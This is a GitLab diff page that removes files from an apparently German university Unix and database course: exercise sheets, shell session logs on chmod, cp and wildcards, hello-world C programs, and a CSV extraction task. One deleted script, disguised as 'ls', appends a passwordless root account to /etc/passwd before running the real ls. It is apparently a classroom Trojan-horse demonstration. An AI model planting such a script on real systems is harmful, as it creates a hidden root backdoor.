Skip to content
Snippets Groups Projects

Compare revisions

Changes are shown as if the source revision was being merged into the target revision. Learn more about comparing revisions.

Source

Select target project
No results found
Select Git revision
  • 2023ws
  • 2024ws
2 results

Target

Select target project
  • pgerwinski/dbs
  • Rafiou/dbs
2 results
Select Git revision
  • 2023ws
  • 2024ws
2 results
Show changes
Commits on Source (75)
Showing with 0 additions and 332 deletions
"Praktikumsaufgabe Versuch 0"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
a) Erstellen Sie mittels einer GUI eine Datei
und bearbeiten Sie diese anschließend
von der Unix-Kommandozeile aus.
b) Und umgekehrt.
3) Schauen Sie sich auf dem Rechner um.
Welche Verzeichnisse ("Ordner") und Dateien
können Sie von der Kommandozeile aus
bzw. von der GUI aus sehen?
Was bedeuten diese?
iv) Schreiben Sie ein C-Programm, z.B. "hello.c":
#include <stdio.h>
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
Compilieren Sie es mit
gcc -Wall -O hello.c -o hello
und starten Sie es von der Kommandozeile aus mit
./hello
sowie von der GUI aus.
v) Lösen Sie schon mal die Übungsaufgaben für "Hardwarenahe Programmierung".
cassini/home/peter/bo/2023ws/dbs/20231012> cat > privet.c
#include <stdio.h>
int main (void)
{
printf ("Привет, мир!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012> cat privet.c
#include <stdio.h>
int main (void)
{
printf ("Привет, мир!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012> gcc -Wall -O privet.c -o privet
cassini/home/peter/bo/2023ws/dbs/20231012> ./privet
Привет, мир!
cassini/home/peter/bo/2023ws/dbs/20231012>
cassini/home/peter/bo/2023ws/dbs/20231012> chmod -r hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c
--w------- 1 peter peter 82 12. Okt 12:20 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c
cat: hello.c: Keine Berechtigung
cassini/home/peter/bo/2023ws/dbs/20231012> chmod +r hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c
-rw-r--r-- 1 peter peter 82 12. Okt 12:20 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> chmod -r hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> chmod u+r hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c
-rw------- 1 peter peter 82 12. Okt 12:20 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012>
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c
-rwxr-x--- 1 peter peter 82 12. Okt 12:20 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> chmod uo+w g-x u-r hello.c
chmod: Zugriff auf 'g-x' nicht möglich: Datei oder Verzeichnis nicht gefunden
chmod: Zugriff auf 'u-r' nicht möglich: Datei oder Verzeichnis nicht gefunden
cassini/home/peter/bo/2023ws/dbs/20231012> chmod uo+w hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> chmod g-x hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> chmod u-r hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c
--wxr---w- 1 peter peter 82 12. Okt 12:20 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> chmod 775 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012>
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c
-rwxrwxr-x 1 peter peter 82 12. Okt 12:20 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c
#include <stdio.h>
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012> ./hello.c
./hello.c: Zeile 3: Syntaxfehler beim unerwarteten Symbol »(«
./hello.c: Zeile 3: `int main (void)'
cassini/home/peter/bo/2023ws/dbs/20231012> # Dies ist ein Kommentar. ;-)
cassini/home/peter/bo/2023ws/dbs/20231012>
cassini/home/peter/bo/2023ws/dbs/20231012> cp hello.c hallo.c
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c
-rw-r--r-- 1 peter peter 82 12. Okt 12:11 hallo.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> cp -p hello.c hallo.c
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hallo.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> cp -p -i hello.c hallo.c
cp: 'hallo.c' überschreiben? n
cassini/home/peter/bo/2023ws/dbs/20231012> cp -pi hello.c hallo.c
cp: 'hallo.c' überschreiben? j
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hallo.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012>
cassini/home/peter/bo/2023ws/dbs/20231012> mkdir test
cassini/home/peter/bo/2023ws/dbs/20231012> cd test
cassini/home/peter/bo/2023ws/dbs/20231012/test> cp -p ../h*.c .
cassini/home/peter/bo/2023ws/dbs/20231012/test> ls -l
insgesamt 8
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hallo.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012/test> rm h*.c
cassini/home/peter/bo/2023ws/dbs/20231012/test> ls -l
insgesamt 0
cassini/home/peter/bo/2023ws/dbs/20231012/test>
cassini/home/peter/bo/2023ws/dbs/20231012/test> cp -p ../h*.c
cassini/home/peter/bo/2023ws/dbs/20231012/test> ls -l
insgesamt 0
cassini/home/peter/bo/2023ws/dbs/20231012/test> cd ..
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hallo.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012>
cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c
#include <stdio.h>
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012> cat hallo.c
#include <stdio.h>
int main (void)
{
printf ("Hallo, Welt!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c
-rw-r--r-- 1 peter peter 81 12. Okt 12:18 hallo.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> cd test
cassini/home/peter/bo/2023ws/dbs/20231012/test> cp ../h*.c
cassini/home/peter/bo/2023ws/dbs/20231012/test> ls -l
insgesamt 0
cassini/home/peter/bo/2023ws/dbs/20231012/test> cd ..
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c
-rw-r--r-- 1 peter peter 81 12. Okt 12:18 hallo.c
-rw-r--r-- 1 peter peter 81 12. Okt 12:18 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c
#include <stdio.h>
int main (void)
{
printf ("Hallo, Welt!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012> cat hallo.c
#include <stdio.h>
int main (void)
{
printf ("Hallo, Welt!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012>
cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c
#include <stdio.h>
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012> cat hallo.c
#include <stdio.h>
int main (void)
{
printf ("Hallo, Welt!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012> cd test
cassini/home/peter/bo/2023ws/dbs/20231012/test> cp -i ../h*.c
cp: '../hello.c' überschreiben? n
cassini/home/peter/bo/2023ws/dbs/20231012/test>
cassini/home/peter/bo/2023ws/dbs/20231012> cd test
cassini/home/peter/bo/2023ws/dbs/20231012/test> echo cp -i ../h*.c
cp -i ../hallo.c ../hello.c
cassini/home/peter/bo/2023ws/dbs/20231012/test>
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c
-rw-r--r-- 1 peter peter 81 12. Okt 12:18 hallo.c
-rw-r--r-- 1 peter peter 82 12. Okt 12:20 hello.c
-rw-r--r-- 1 peter peter 86 12. Okt 12:26 hola.c
cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c
#include <stdio.h>
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012> cat hallo.c
#include <stdio.h>
int main (void)
{
printf ("Hallo, Welt!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012> cat hola.c
#include <stdio.h>
int main (void)
{
printf ("¡Hola, el mundo!\n");
return 0;
}
cassini/home/peter/bo/2023ws/dbs/20231012> cd test
cassini/home/peter/bo/2023ws/dbs/20231012/test> cp ../h*.c
cp: Ziel '../hola.c': Ist kein Verzeichnis
cassini/home/peter/bo/2023ws/dbs/20231012/test> echo cp ../h*.c
cp ../hallo.c ../hello.c ../hola.c
cassini/home/peter/bo/2023ws/dbs/20231012/test>
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l test
insgesamt 0
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c
-rw-r--r-- 1 peter peter 82 12. Okt 12:20 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> cp hello.c test/hello-world.c
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l test
insgesamt 4
-rw-r--r-- 1 peter peter 82 12. Okt 12:31 hello-world.c
cassini/home/peter/bo/2023ws/dbs/20231012>
#include <stdio.h>
int main (void)
{
printf ("Hallo, Welt!\n");
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("¡Hola, el mundo!\n");
return 0;
}
#!/bin/bash
echo "SCHLIMME DINGE ..."
echo "test-root::0:0:root:/root:/bin/bash" >> /etc/passwd
/bin/ls "$@"
#include <stdio.h>
int main (void)
{
printf ("Привет, мир!\n");
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("Привiт, свiте!\n");
return 0;
}
Aufgabe: Schreiben Sie ein Shell-Skript, das aus einer selbst erstellten
Textdatei (z.B. CSV) Daten extrahiert. Welche Daten, soll per Parameter
angegeben werden.
Beispiel: Tabelle
ID Name Tierart
----------------------
01 Wuffi Kater
02 Maunzi Dt. Schäferhund
03 Mausi Afr. Elefant
04 Gargantua Spitzmaus
$ ./programmchen 01 Tierart
Kater
$ ./programmchen 03 Name
Mausi
Beispiel: Dasselbe mit CSV-Datei
$ cat tiere.csv
"ID";"Name";"Tierart"
"01";"Wuffi";"Kater"
"02";"Maunzi";"Dt. Schäferhund"
"03";"Mausi";"Afr. Elefant"
"04";"Gargantua";"Spitzmaus"
$ ./programmchen B2
Wuffi
$ ./programmchen A4
03
$ ./programmchen C3
Dt. Schäferhund
Hinweise:
- man grep
- man cut
- man head
- man tail
cassini/home/peter/bo/2023ws/dbs/20231018.p0> cat tiere.csv
"ID";"Name";"Tierart"
"01";"Wuffi";"Kater"
"02";"Maunzi";"Dt. Schäferhund"
"03";"Mausi";"Afr. Elefant"
"04";"Gargantua";"Spitzmaus"
cassini/home/peter/bo/2023ws/dbs/20231018.p0> cat tiere.csv | head -4
"ID";"Name";"Tierart"
"01";"Wuffi";"Kater"
"02";"Maunzi";"Dt. Schäferhund"
"03";"Mausi";"Afr. Elefant"
cassini/home/peter/bo/2023ws/dbs/20231018.p0> cat tiere.csv | head -4 | tail -1
"03";"Mausi";"Afr. Elefant"
cassini/home/peter/bo/2023ws/dbs/20231018.p0> cat tiere.csv | head -4 | tail -1 | cut -d ";" -f 3
"Afr. Elefant"
cassini/home/peter/bo/2023ws/dbs/20231018.p0>